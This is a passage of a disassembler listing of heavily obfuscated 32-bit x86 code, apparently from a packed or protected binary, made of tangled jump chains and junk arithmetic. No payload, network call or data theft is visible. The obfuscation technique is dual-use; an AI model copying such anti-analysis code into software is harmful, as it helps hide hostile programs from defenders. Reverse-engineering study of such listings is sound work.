[ebp+var_4], eax jmp loc_4279A9 ; END OF FUNCTION CHUNK FOR sub_4279C0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427486 loc_428004: ; CODE XREF: sub_427486:loc_427921j ; hjohnhn9:00427942j xor edx, 0B78BAB96h push eax pushf push 795F89B4h pop eax sub eax, 0C50DC6EFh and eax, 1CB6C470h rol eax, 1Eh jmp loc_42721D ; END OF FUNCTION CHUNK FOR sub_427486 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_93. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423AAF loc_428027: ; CODE XREF: sub_423AAF+C15j jmp sub_424877 ; END OF FUNCTION CHUNK FOR sub_423AAF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4245BA loc_42802C: ; CODE XREF: sub_4245BA+13j jmp nullsub_47 ; END OF FUNCTION CHUNK FOR sub_4245BA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4262C5 loc_428031: ; CODE XREF: sub_4262C5+33Aj jnz loc_4264E6 add ecx, edi add eax, 699293F1h cmp ebp, 0C0F19894h jmp loc_423C0D ; END OF FUNCTION CHUNK FOR sub_4262C5 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426E8C loc_42804B: ; CODE XREF: sub_426E8C-25A0j jmp loc_426852 ; END OF FUNCTION CHUNK FOR sub_426E8C ; --------------------------------------------------------------------------- loc_428050: ; CODE XREF: hjohnhn9:00423510j push eax mov eax, ebp xchg eax, [esp] mov ebp, esp push ecx jmp loc_423E01 ; --------------------------------------------------------------------------- loc_42805E: ; DATA XREF: sub_428ABB+Do lea edx, [ebp-14h] mov eax, offset dword_426E40 call sub_427AEB lea eax, [ebp-14h] push eax loc_42806F: ; CODE XREF: hjohnhn9:loc_428515j call sub_427A36 jmp loc_4284D4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42304F loc_428079: ; CODE XREF: sub_42304F+11E4j call sub_428D1E loc_42807E: ; CODE XREF: sub_4290CF+Aj mov eax, [ebp-14h] mov eax, [eax+24h] add eax, [ebp-4] xor edx, edx push edx jmp loc_424A33 ; END OF FUNCTION CHUNK FOR sub_42304F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4278DC loc_42808F: ; CODE XREF: sub_4278DC+1727j jnz loc_42515B jmp loc_424BA3 ; --------------------------------------------------------------------------- loc_42809A: ; CODE XREF: sub_4278DC-3542j xor esi, 0FED4AF4Dh add esi, 637C60D5h xchg esi, [esp+4+var_4] jmp sub_4244F5 ; END OF FUNCTION CHUNK FOR sub_4278DC ; --------------------------------------------------------------------------- loc_4280AE: ; CODE XREF: hjohnhn9:00424444j ; hjohnhn9:loc_42487Dj jnb loc_427266 sbb ebp, 0E6C0B23Ch jmp sub_427324 ; --------------------------------------------------------------------------- loc_4280BF: ; DATA XREF: sub_4240E6:loc_42744Eo mov eax, offset dword_426E40 call sub_427AEB lea eax, [ebp-14h] push eax jmp loc_428515 ; =============== S U B R O U T I N E ======================================= sub_4280D2 proc near ; CODE XREF: hjohnhn9:00424FD8j ; sub_426475-8F4p arg_0 = dword ptr 4 xchg esi, [esp+0] pop esi xchg ecx, [esp-4+arg_0] jmp sub_424AAE sub_4280D2 endp ; sp-analysis failed ; --------------------------------------------------------------------------- push esi push 7AA4790Dh pop esi and esi, 0C25CDF42h test esi, 80000000h jmp loc_423265 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428271 loc_4280F6: ; CODE XREF: sub_428271:loc_42350Bj adc edx, [esp+arg_0] add esp, 8 mov eax, [eax] add eax, [ebp-4] call sub_427F90 cmp eax, [ebp-8] jmp loc_4281AC ; END OF FUNCTION CHUNK FOR sub_428271 ; --------------------------------------------------------------------------- jbe loc_4247F8 jmp sub_428C4E ; --------------------------------------------------------------------------- mov edx, 0A1E8B87Bh jmp sub_427994 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424631 loc_428124: ; CODE XREF: sub_424631+14j call sub_428788 loc_428129: ; CODE XREF: sub_425DE4+9j pop eax rol eax, 1 sub eax, ds:4000F0h add eax, 19868220h mov eax, [eax] or eax, eax jnz loc_423B9C jmp loc_425B0E ; END OF FUNCTION CHUNK FOR sub_424631 ; --------------------------------------------------------------------------- add edx, ebx mov [edx], ebx jmp sub_4281B9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426F85 loc_428150: ; CODE XREF: sub_426F85:loc_42726Dj test eax, eax jl loc_428EEB push offset loc_426A97 jmp nullsub_82 ; END OF FUNCTION CHUNK FOR sub_426F85 ; =============== S U B R O U T I N E ======================================= sub_428162 proc near ; CODE XREF: sub_4241D2+4p ; hjohnhn9:00428A66j xchg esi, [esp+0] pop esi call sub_424698 pop ecx mov [ebp-20h], eax jmp loc_424C37 sub_428162 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427B51 loc_428174: ; CODE XREF: sub_427B51:loc_427B58j test byte ptr [ebp-8], 2 jz loc_424C37 jmp sub_4234CA ; END OF FUNCTION CHUNK FOR sub_427B51 ; =============== S U B R O U T I N E ======================================= sub_428183 proc near ; DATA XREF: sub_428183-4E3Do ; FUNCTION CHUNK AT 0042332F SIZE 00000021 BYTES ; FUNCTION CHUNK AT 0042335C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424EAA SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00428B11 SIZE 00000005 BYTES pop eax cmp dword ptr [eax], 0 jnz loc_424EAA jmp sub_427C43 sub_428183 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_428192 proc near ; CODE XREF: sub_428183-4E42p ; hjohnhn9:loc_4239E7j ... ; FUNCTION CHUNK AT 004247CF SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00428253 SIZE 0000000A BYTES jnb loc_428253 push ebp mov ebp, esp mov esp, ebp jmp loc_4247CF sub_428192 endp ; --------------------------------------------------------------------------- loc_4281A2: ; DATA XREF: sub_428477-4A9Bo pop ecx ; START OF FUNCTION CHUNK FOR sub_425BF2 loc_4281A3: ; CODE XREF: sub_425BF2:loc_4290C9j xchg esi, [esp-8+arg_4] mov ebp, esi pop esi retn 0Ch ; END OF FUNCTION CHUNK FOR sub_425BF2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428271 loc_4281AC: ; CODE XREF: sub_428271-167j jmp loc_427EC8 ; END OF FUNCTION CHUNK FOR sub_428271 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_124. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- xchg edi, esi jmp sub_42636C ; =============== S U B R O U T I N E ======================================= sub_4281B9 proc near ; CODE XREF: sub_424631+37Fp ; hjohnhn9:0042814Bj xchg ebx, [esp+0] pop ebx jnz loc_423F3D mov eax, [ebp+8] push eax mov eax, [ebp+8] push offset loc_428DC2 jmp nullsub_48 sub_4281B9 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_4281D4: ; CODE XREF: hjohnhn9:00425FD7j jnz near ptr dword_4236FC+14h jmp loc_426D46 ; --------------------------------------------------------------------------- jnp loc_426889 jmp loc_424A75 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424946 loc_4281EA: ; CODE XREF: sub_424946:loc_429018j pop ebx add eax, edx push esi push 2E2B81F4h jmp loc_42898A ; END OF FUNCTION CHUNK FOR sub_424946 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426749 loc_4281F8: ; CODE XREF: sub_426749+2717j call sub_427AEB lea eax, [ebp-14h] push eax call sub_427A36 mov ds:dword_426E6C, eax mov ds:byte_426E54, 1 lea eax, [ebp-14h] jmp loc_42373A ; END OF FUNCTION CHUNK FOR sub_426749 ; --------------------------------------------------------------------------- loc_42821A: ; DATA XREF: sub_4249BF+3o xchg ebx, [esp] mov ebp, esp push ecx mov esp, ebp xchg esi, [esp] mov ebp, esi jmp loc_425B57 ; --------------------------------------------------------------------------- loc_42822C: ; CODE XREF: hjohnhn9:004230B7j jg loc_426BEA test ebp, edx jmp loc_425EB4 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_14. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_42823A: ; CODE XREF: hjohnhn9:004285BCj jmp loc_4268F8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427852 loc_42823F: ; CODE XREF: sub_427852+AE0j jmp loc_424064 ; END OF FUNCTION CHUNK FOR sub_427852 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425029 loc_428244: ; CODE XREF: sub_425029+1Dj jmp loc_428999 ; END OF FUNCTION CHUNK FOR sub_425029 ; =============== S U B R O U T I N E ======================================= sub_428249 proc near ; CODE XREF: sub_4248B1+15p ; hjohnhn9:00426B7Bj ; FUNCTION CHUNK AT 00427632 SIZE 00000005 BYTES xchg edx, [esp+0] pop edx push eax jmp loc_427632 sub_428249 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428192 loc_428253: ; CODE XREF: sub_428192j push offset sub_42870E jmp nullsub_110 ; END OF FUNCTION CHUNK FOR sub_428192 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427564 loc_42825D: ; CODE XREF: sub_427564:loc_42901Dj add ecx, ebp add ecx, 268E381Eh mov [ecx], eax xchg esi, [esp+0] mov ecx, esi call sub_425EEA ; END OF FUNCTION CHUNK FOR sub_427564 ; =============== S U B R O U T I N E ======================================= sub_428271 proc near ; CODE XREF: hjohnhn9:00426AF1j ; sub_427852+16C9p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0042350B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424073 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00426B80 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00427EC8 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00427F5A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004280F6 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 004281AC SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004286E6 SIZE 0000000B BYTES xchg edx, [esp+0] pop edx push edx push eax mov eax, [ebp-18h] jmp loc_426B80 sub_428271 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42345B loc_42827F: ; CODE XREF: sub_42345B+50E2j xchg edi, [esp+8+var_8] jmp nullsub_2 ; END OF FUNCTION CHUNK FOR sub_42345B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423F65 loc_428287: ; CODE XREF: sub_423F65:loc_427550j add eax, ebp add eax, 50FF1F19h mov eax, [eax] call sub_424C5F retn ; END OF FUNCTION CHUNK FOR sub_423F65 ; --------------------------------------------------------------------------- locret_428297: ; CODE XREF: hjohnhn9:0042408Ej retn ; --------------------------------------------------------------------------- pushf jmp sub_4241F3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424B97 loc_42829E: ; CODE XREF: sub_424B97:loc_424EBEj pop edx push edx push 0FF748C5Ah pop edx and edx, 7188AD6Ch sub edx, 9D9846B5h js loc_427420 adc ebx, 5158AB9h jmp loc_42741C ; END OF FUNCTION CHUNK FOR sub_424B97 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_75. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424819 loc_4282C4: ; CODE XREF: sub_424819+2AD9j jmp loc_424013 ; END OF FUNCTION CHUNK FOR sub_424819 ; --------------------------------------------------------------------------- loc_4282C9: ; CODE XREF: hjohnhn9:0042720Ej jmp loc_4269D9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4278B9 loc_4282CE: ; CODE XREF: sub_4278B9-4499j jmp loc_4267FC ; END OF FUNCTION CHUNK FOR sub_4278B9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42304F loc_4282D3: ; CODE XREF: sub_42304F+19j jmp loc_42781A ; END OF FUNCTION CHUNK FOR sub_42304F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423425 loc_4282D8: ; CODE XREF: sub_423425:loc_4278D7j push ecx push offset loc_423A05 jmp nullsub_51 ; END OF FUNCTION CHUNK FOR sub_423425 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_26. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4260BD loc_4282E4: ; CODE XREF: sub_4260BD:loc_426E4Dj jz loc_42794A jmp loc_427714 ; END OF FUNCTION CHUNK FOR sub_4260BD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424A78 loc_4282EF: ; CODE XREF: sub_424A78:loc_4248CBj pop ecx mov [ebp-20h], eax jmp loc_4242D9 ; END OF FUNCTION CHUNK FOR sub_424A78 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4282F8 proc near ; CODE XREF: sub_424A78+2175p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 004247D9 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 00425BC8 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00426189 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426A5D SIZE 00000005 BYTES push ebp mov ebp, esp add esp, 0FFFFFFF4h mov [ebp+var_4], eax mov eax, [ebp+var_4] jmp loc_4247D9 sub_4282F8 endp ; =============== S U B R O U T I N E ======================================= sub_428309 proc near ; CODE XREF: hjohnhn9:00424A02j ; sub_42897B+Ap ; FUNCTION CHUNK AT 0042491D SIZE 00000005 BYTES xchg edi, [esp+0] pop edi mov esp, ebp push offset loc_426561 jmp loc_42491D sub_428309 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427852 loc_428319: ; CODE XREF: sub_427852:loc_425F3Aj add esp, 8 mov eax, [eax] add eax, [ebp-4] call sub_427F90 loc_428326: ; CODE XREF: sub_424161+423j cmp eax, [ebp-8] jnz loc_428EF2 mov eax, [ebp-14h] jmp loc_42823F ; END OF FUNCTION CHUNK FOR sub_427852 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4260BD loc_428337: ; CODE XREF: sub_4260BD-2014j mov esi, 7CAB0713h loc_42833C: ; CODE XREF: sub_4260BD:loc_42409Bj xor ebx, 81F09744h add ebx, ebp add ebx, 0B28572C8h mov [ebx], eax jmp loc_42497B ; END OF FUNCTION CHUNK FOR sub_4260BD ; --------------------------------------------------------------------------- loc_428351: ; CODE XREF: hjohnhn9:00423C34j jnb loc_42465A ; =============== S U B R O U T I N E ======================================= sub_428357 proc near ; CODE XREF: sub_42865B+7p ; FUNCTION CHUNK AT 004232C8 SIZE 00000009 BYTES xchg eax, [esp+0] pop eax shr eax, 0Bh jmp loc_4232C8 sub_428357 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_428363: ; CODE XREF: hjohnhn9:loc_428EC5j call near ptr dword_4236FC+32h loc_428368: ; CODE XREF: hjohnhn9:00427C87j jmp loc_429094 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42486B loc_42836D: ; CODE XREF: sub_42486B+7j jmp loc_428F71 ; END OF FUNCTION CHUNK FOR sub_42486B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42325E loc_428372: ; CODE XREF: sub_42325E:loc_423E01j mov esp, ebp pop ebp push 7178371Ch pop eax jmp loc_423E36 ; END OF FUNCTION CHUNK FOR sub_42325E ; --------------------------------------------------------------------------- dword_428380 dd 0 ; DATA XREF: sub_4264FA+Dw dword_428384 dd 0 ; DATA XREF: sub_42851A-1D4Dr ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426354 loc_428388: ; CODE XREF: sub_426354-48j jmp loc_425C05 ; END OF FUNCTION CHUNK FOR sub_426354 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427D9D loc_42838D: ; CODE XREF: sub_427D9D:loc_424EECj jmp loc_4264BC ; END OF FUNCTION CHUNK FOR sub_427D9D ; --------------------------------------------------------------------------- dw 89D4h dword_428394 dd 0 ; DATA XREF: hjohnhn9:00425B58r ; sub_425D27+Aw dword_428398 dd 0 ; DATA XREF: sub_423B05+7r ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424631 loc_42839C: ; CODE XREF: sub_424631+3790j jmp nullsub_54 ; END OF FUNCTION CHUNK FOR sub_424631 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427AC0 loc_4283A1: ; CODE XREF: sub_427AC0:loc_425C3Bj xor eax, 0C62E2D94h add eax, ebp add eax, 19D39E5Dh mov eax, [eax] push esi mov esi, eax call sub_42387A ; END OF FUNCTION CHUNK FOR sub_427AC0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_31. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4251EB loc_4283BA: ; CODE XREF: sub_4251EB+15j jmp loc_425FDC ; END OF FUNCTION CHUNK FOR sub_4251EB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426354 loc_4283BF: ; CODE XREF: sub_426354-15D3j jmp loc_426E07 ; END OF FUNCTION CHUNK FOR sub_426354 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424181 loc_4283C4: ; CODE XREF: sub_424181+7j jmp loc_425ED0 ; END OF FUNCTION CHUNK FOR sub_424181 ; =============== S U B R O U T I N E ======================================= sub_4283C9 proc near ; CODE XREF: hjohnhn9:00425FF2j ; hjohnhn9:loc_4266BEj ; DATA XREF: ... arg_0 = dword ptr 4 add eax, 0E260B5A1h popf xchg eax, [esp-4+arg_0] jmp sub_42897B sub_4283C9 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426708 loc_4283D8: ; CODE XREF: sub_426708-1F54j xchg eax, [esp+4+var_4] jmp sub_424877 ; END OF FUNCTION CHUNK FOR sub_426708 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426CE6 loc_4283E0: ; CODE XREF: sub_426CE6:loc_423EC1j mov eax, [eax] push offset loc_426BAD jmp loc_42376C ; END OF FUNCTION CHUNK FOR sub_426CE6 ; --------------------------------------------------------------------------- adc ebx, 6F014DE4h jmp sub_426D6A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423CDB loc_4283F7: ; CODE XREF: sub_423CDB+3066j mov eax, [ebp-14h] mov eax, [eax+18h] dec eax test eax, eax jl loc_4244EE inc eax jmp loc_424CA5 ; END OF FUNCTION CHUNK FOR sub_423CDB ; --------------------------------------------------------------------------- adc eax, ecx jmp sub_42486B ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_91. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_428414: ; CODE XREF: hjohnhn9:004242D1j jz loc_426EAD jmp loc_4261F6 ; =============== S U B R O U T I N E ======================================= sub_42841F proc near ; CODE XREF: hjohnhn9:004261B7j ; sub_424A28:loc_42872Fp ; FUNCTION CHUNK AT 00423810 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00423D11 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00427B02 SIZE 0000000C BYTES xchg ebx, [esp+0] pop ebx mov eax, ds:dword_4233C4 or eax, eax jnz loc_4260A9 jmp loc_423D11 sub_42841F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_428436 proc near ; CODE XREF: sub_4287BF-1234p ; sub_4287BF:loc_429061p push offset sub_424564 jmp loc_42687B sub_428436 endp ; --------------------------------------------------------------------------- loc_428440: ; CODE XREF: hjohnhn9:00426C7Aj jno loc_42344E popf ; =============== S U B R O U T I N E ======================================= sub_428447 proc near ; CODE XREF: sub_4262C5+1363p ; FUNCTION CHUNK AT 00423899 SIZE 00000002 BYTES xchg eax, [esp+0] pop eax jnz loc_424E63 mov eax, [ebp-8] mov byte ptr [eax], 0 mov esp, ebp jmp loc_423899 sub_428447 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426523 loc_42845E: ; CODE XREF: sub_426523:loc_42628Fj idiv ecx mov [ebp-8], eax push offset loc_426116 jmp loc_427CEC ; END OF FUNCTION CHUNK FOR sub_426523 ; --------------------------------------------------------------------------- loc_42846D: ; CODE XREF: hjohnhn9:00423A26j mov ds:dword_423954, eax jmp loc_42787C ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_428477 proc near ; CODE XREF: sub_423425j var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_4 = dword ptr 0Ch ; FUNCTION CHUNK AT 0042395D SIZE 00000006 BYTES ; FUNCTION CHUNK AT 004239D0 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00424ACA SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00424CC8 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00424DE2 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 00424E8F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004252C8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004267E0 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 004279E3 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004287A5 SIZE 0000001A BYTES push ebp mov ebp, esp push ecx jmp loc_4267E0 sub_428477 endp ; --------------------------------------------------------------------------- push esi push 87B37D53h pop esi or esi, 9B81DE4Ch rol esi, 1Fh push ecx jmp loc_423801 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427F90 loc_428496: ; CODE XREF: sub_427F90:loc_42440Fj shl [ebp+var_8], 8 jmp loc_427135 ; --------------------------------------------------------------------------- loc_42849F: ; CODE XREF: sub_427F90:loc_428F71j mov eax, [ebp+var_C] call sub_425029 ; END OF FUNCTION CHUNK FOR sub_427F90 ; START OF FUNCTION CHUNK FOR sub_424A28 loc_4284A7: ; CODE XREF: sub_424A28+30ADj jmp loc_428EAA ; END OF FUNCTION CHUNK FOR sub_424A28 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427324 loc_4284AC: ; CODE XREF: sub_427324+10j or edx, 27175886h add edx, 827297C1h call sub_4279ED push edx mov edx, eax xchg edx, [esp+0] ror eax, 17h jmp loc_4279D7 ; END OF FUNCTION CHUNK FOR sub_427324 ; =============== S U B R O U T I N E ======================================= sub_4284CB proc near ; CODE XREF: sub_42897Aj ; DATA XREF: sub_428965+Bo ; FUNCTION CHUNK AT 00423C85 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00425B97 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426559 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00427FBA SIZE 00000014 BYTES cdq add eax, [esp+0] call loc_4244FA loc_4284D4: ; CODE XREF: hjohnhn9:00428074j mov ds:dword_426E3C, eax lea eax, [ebp-14h] xor edx, edx call sub_427AEB call sub_426749 jmp loc_425B97 sub_4284CB endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424161 loc_4284ED: ; CODE XREF: sub_424161+429j popf loc_4284EE: ; CODE XREF: sub_424161:loc_42457Ej and eax, ds:4000F9h xor eax, 0E7A8609Ah add eax, ebp add eax, 1A458262h mov eax, [eax] popf jmp loc_423B50 ; END OF FUNCTION CHUNK FOR sub_424161 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_18. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427486 loc_42850B: ; CODE XREF: sub_427486-2729j jmp nullsub_87 ; END OF FUNCTION CHUNK FOR sub_427486 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426A78 loc_428510: ; CODE XREF: sub_426A78-B4Aj rol eax, 9 push eax retn ; END OF FUNCTION CHUNK FOR sub_426A78 ; --------------------------------------------------------------------------- loc_428515: ; CODE XREF: hjohnhn9:004280CDj jmp loc_42806F ; =============== S U B R O U T I N E ======================================= sub_42851A proc near ; CODE XREF: sub_4279C0:loc_42446Cp var_C = dword ptr -0Ch var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00423692 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00424603 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042471C SIZE 00000002 BYTES ; FUNCTION CHUNK AT 00424A07 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00424D63 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424E76 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00424EF1 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 004267CC SIZE 00000014 BYTES ; FUNCTION CHUNK AT 004269E6 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00427EFB SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00428951 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00429107 SIZE 00000005 BYTES push eax mov eax, ebp jmp loc_424D63 sub_42851A endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42345B loc_428522: ; CODE XREF: sub_42345B+F6Dj mov edi, eax pop eax xor edi, 7AC294Ch and edi, 0F324205Ah sub edi, 1CCD31ABh add edi, 5D0B7FC7h jmp loc_42827F ; END OF FUNCTION CHUNK FOR sub_42345B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42355C loc_428542: ; CODE XREF: sub_42355C+26D2j ror eax, 11h mov ds:dword_428B04, eax retn ; END OF FUNCTION CHUNK FOR sub_42355C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426354 loc_42854C: ; CODE XREF: sub_426354+2868j jmp nullsub_96 ; END OF FUNCTION CHUNK FOR sub_426354 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426671 loc_428551: ; CODE XREF: sub_426671-64Fj ; sub_42355C+2B31j rol eax, 11h push eax call sub_4244F5 retn ; END OF FUNCTION CHUNK FOR sub_426671 ; =============== S U B R O U T I N E ======================================= sub_42855B proc near ; CODE XREF: sub_4265A0:loc_4270C5j ; sub_4263E3+1B33p var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00423320 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0042623D SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00427DCD SIZE 00000005 BYTES jns loc_42623D jmp loc_427DCD sub_42855B endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_66. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424631 loc_428567: ; CODE XREF: sub_424631+2A80j jmp loc_423E80 ; END OF FUNCTION CHUNK FOR sub_424631 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427B7A loc_42856C: ; CODE XREF: sub_427B7A-101Cj jmp loc_4235C0 ; END OF FUNCTION CHUNK FOR sub_427B7A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4278DC loc_428571: ; CODE XREF: sub_4278DC-4147j jmp loc_42514C ; END OF FUNCTION CHUNK FOR sub_4278DC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4265CD loc_428576: ; CODE XREF: sub_4265CD-2FCEj add eax, 0F1EDD6A1h ; END OF FUNCTION CHUNK FOR sub_4265CD ; START OF FUNCTION CHUNK FOR sub_42466E loc_42857C: ; CODE XREF: sub_42466E:loc_42402Cj or eax, 1C45DFABh test eax, 40h jmp loc_4289F8 ; END OF FUNCTION CHUNK FOR sub_42466E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427C9B loc_42858D: ; CODE XREF: sub_427C9B+13C1j jle loc_4271AE test eax, esi jmp loc_426176 ; END OF FUNCTION CHUNK FOR sub_427C9B ; =============== S U B R O U T I N E ======================================= sub_42859A proc near ; CODE XREF: hjohnhn9:0042360Bj ; sub_428C4E+Bp ; FUNCTION CHUNK AT 00425FA3 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00427886 SIZE 0000000F BYTES xchg esi, [esp+0] pop esi or eax, eax jnz loc_425FA3 call sub_424877 jmp loc_427886 sub_42859A endp ; sp-analysis failed ; --------------------------------------------------------------------------- call nullsub_122 push edx push 5D51C839h pop edx jmp loc_42823A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424161 loc_4285C1: ; CODE XREF: sub_424161+4j test byte ptr [ebp-8], 40h jz loc_423C90 push ebp mov eax, [ebp-20h] call sub_423CCD jmp loc_424F86 ; END OF FUNCTION CHUNK FOR sub_424161 ; --------------------------------------------------------------------------- locret_4285D9: ; CODE XREF: hjohnhn9:loc_428ECBj retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426354 loc_4285DA: ; CODE XREF: sub_426354+13j jmp nullsub_58 ; END OF FUNCTION CHUNK FOR sub_426354 ; =============== S U B R O U T I N E ======================================= sub_4285DF proc near ; CODE XREF: sub_423A75+3755j ; FUNCTION CHUNK AT 00426A2B SIZE 00000005 BYTES push ebx pushf push offset loc_4242AF jmp loc_426A2B sub_4285DF endp ; 